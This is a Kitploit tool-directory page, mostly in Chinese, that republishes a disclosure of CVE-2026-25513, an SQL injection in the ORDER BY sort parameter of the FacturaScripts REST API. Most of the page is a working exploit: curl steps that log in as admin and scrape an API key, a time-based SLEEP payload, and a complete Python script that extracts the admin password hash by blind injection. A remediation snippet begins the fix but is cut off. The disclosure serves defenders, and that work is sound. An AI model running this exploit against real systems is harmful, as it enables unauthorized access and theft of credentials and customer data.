Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts 在 API 的 ORDER BY 子句中存在 SQL 注入漏洞。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-25513
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts 在 API 的 ORDER BY 子句中存在 SQL 注入漏洞。

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25513:FacturaScripts 在 API ORDER BY 子句中存在 SQL 注入漏洞

概述

字段详情
CVE IDCVE-2026-25513
严重等级高危
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • facturascripts/facturascripts(版本:< 2025.81)

CWE 分类

  • CWE-20:输入验证不恰当
  • CWE-89:SQL 命令中使用的特殊元素中和不当('SQL 注入')
  • CWE-943:数据查询逻辑中特殊元素中和不当
  • CWE-1286:输入语法正确性验证不当

详情

摘要

FacturaScripts 的 REST API 中存在一个严重的 SQL 注入漏洞,允许通过身份验证的 API 用户通过 sort 参数执行任意 SQL 查询。该漏洞存在于 ModelClass::getOrderBy() 方法中,用户提供的排序参数未经验证或清理,被直接拼接进 SQL ORDER BY 子句。这影响了所有支持排序功能的 API 端点。


详情

FacturaScripts REST API 通过各种端点(例如 /api/3/users、/api/3/attachedfiles、/api/3/customers)公开数据库模型。这些端点支持 sort 参数,允许客户端指定结果的排序方式。API 通过 ModelClass::all() 方法处理该参数,该方法会调用存在漏洞的 getOrderBy() 函数。

漏洞代码位置

1. 旧版模型: 文件: /Core/Model/Base/ModelClass.php 方法: getOrderBy() 直接拼接 $order 数组中的键和值。

2. 新版模型(DbQuery): 文件: /Core/DbQuery.php 方法: orderBy() 行号: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

该检查旨在允许 SQL 函数,但未能对其进行验证,从而允许任意 SQL 注入。


概念验证(PoC)

前提条件

  • 有效的 API 身份验证令牌(X-Auth-Token 请求头)
  • 可访问 FacturaScripts API 端点

逐步验证(CLI)

由于 FacturaScripts 需要现有的 API 密钥,我们首先通过 Web 界面登录以获取有效密钥。

1. 登录并获取有效的 API 密钥: 我们处理 CSRF 令牌和会话 Cookie,以访问设置并获取第一个可用的密钥。

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. 验证时间型 SQL 注入: 在 X-Auth-Token 请求头中使用提取的 API_KEY。

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

预期结果: 注入请求的耗时将显著增加(延迟取决于数据库记录数),从而确认 SQL 注入漏洞的存在。


自动化利用工具

该脚本可自动登录 FacturaScripts、获取有效的 API 密钥,并使用时间型盲注执行区分大小写的数据提取。

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
图片

影响

数据机密性

  • 通过盲 SQL 注入技术完全披露数据库内容
  • 可提取的敏感数据包括:
    • 用户凭据和 API 密钥
    • 客户 PII(个人身份信息)
    • 财务记录和交易数据
    • 商业情报和定价信息
    • 系统配置和机密信息

谁受影响?

  • 使用 FacturaScripts API 进行集成的组织
  • 使用该 API 的移动应用和第三方集成
  • 所有数据可通过 API 访问的用户
  • 拥有 API 访问权限的业务合作伙伴

修复建议

立即修复

方案一:实施严格的白名单验证(推荐)

// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }
下载工具